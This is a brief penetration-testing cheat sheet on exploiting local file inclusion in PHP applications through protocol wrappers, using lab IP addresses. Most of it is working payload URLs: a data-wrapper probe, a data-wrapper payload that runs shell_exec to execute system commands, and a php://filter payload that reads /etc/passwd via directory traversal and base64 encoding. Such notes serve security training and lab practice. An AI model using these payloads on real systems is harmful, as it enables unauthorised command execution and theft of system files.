PHP Wrappers
PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion. These filters give us additional flexibility when attempting to inject PHP code via LFI vulnerabilities.
Identifying Vulnerability
http://192.168.112.132/menu.php?file=data:text/plain,helloworld
IF this payload return helloworld then we can use php wrappers to execute php commands too
Executing commands
http://192.168.112.132/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>
php filter
Another PHP wrapper, php://filter
in this example the output is encoded using base64, so you’ll need to decode the output.
http://192.168.155.131/fileincl/example1.php?page=php://filter/convert.base64-encode/resource=../../../../../etc/passwd
Last updated